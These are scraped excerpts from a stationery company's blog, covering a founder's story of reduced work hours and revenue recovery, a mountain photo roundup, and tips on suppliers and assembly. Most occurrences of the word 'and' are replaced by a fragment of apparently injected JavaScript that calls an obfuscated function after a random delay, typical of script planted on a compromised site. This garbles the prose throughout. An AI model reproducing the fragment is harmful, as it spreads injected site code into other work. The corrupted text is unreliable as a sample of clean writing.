During the first few years of running Sycamore Street Press, I usually worked 6 days a week andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and anywhere from 12 - 16 hours a day. I loved it, but it was crazy, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I knew it couldn’t last.

Then I had a baby. When she was tiny, I didn’t work very many hours at all, but by the time she was a year old, I was back on a regular schedule. As you can imagine, this new schedule entailed a lot fewer hours at work than the old one, though. Instead of 80 hour work weeks, I was usually working about 50 hours a week, with a good portion of those hours being at night after she was in bed.

The great part about working for yourself is that you have the flexibility to set your own schedule. You can just decide to cut 30 hours out of your weekly schedule, like I did, without having to ask permission. The not so great part about working for yourself is that if you drastically reduce the amount of hours you put into your business, your business could really suffer. And mine did.

As I said, the first few years we were in business, Sycamore Street Press was steadily growing. Then in 2012, the growth stopped. In fact, our revenue actually declined by 11%. With a young family to feed, that scared me.

To be fair, some of that was due to some big changes in our industry (the stationery industry). The overall market had shrunk, but the amount of independent stationery manufacturers (like ourselves) had skyrocketed. However, I also realized that I hadn’t been smart about the way I had transitioned into balancing a baby with my business. I had just cut my hours without being strategic about how I would make up for it. That needed to change.

And it did change. In the first quarter of 2015, we grew 33% from Q1 of 2014. Here’s my story about how we turned it around, with the 10 key steps that have helped us… Read More...

The Mountains Are Calling

During the summer, my family used to take road trips out west to Wyoming andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Montana. The close quarters in the car were always worth it once the peaks came into view...but that didn't mean the bickering between my brothers andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I stopped (Sorry, Mom andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Dad). These pictures have me dreaming about mountains near andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and far... - Annie

The Mountains Are Calling | Sycamore

The Mountains Are Calling | Sycamore

The Mountains Are Calling | Sycamore

The Mountains Are Calling | Sycamore

The Mountains Are Calling | Sycamore

The Mountains Are Calling | Sycamore

1) Alex Strohl 2) Pedalhead'71 3) Miss Moss 4) jedsundwall 5) Homecamp 6) Ashley Day

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Stationery Business: Tips For Finding Stationery Suppliers & Manufacturers

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When you are first starting your stationery business, finding the right suppliers or manufacturers can be like trying to find a needle in a haystack. I remember when I first started (almost 8 years ago!) I had no idea whatsoever where to find envelopes, cello bags, paper — any of it! I was fortunate in that I worked at a paper boutique, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the people I worked with pointed out a couple of great suppliers that I use to this day. But I still had to figure out a lot of it on my own.

And we still do! If we’re adding new types of products, or become unhappy with a material or manufacturer we’ve been using, we have to start searching again. But where there’s a will, there’s a way!

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Stationery Business: Tips for Assembling Stationery

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As I go over in my online class, Stationery Business 100: Start Strong, assembly is the act of putting your products in packaging. I know it sounds super exciting (right up there with doing your taxes), but if you are thinking about starting a paper goods company, this is some vital information that you will be glad you read!

Click through to read the stationery assembly tips we’ve gathered over our almost 8 years in the business… Read More…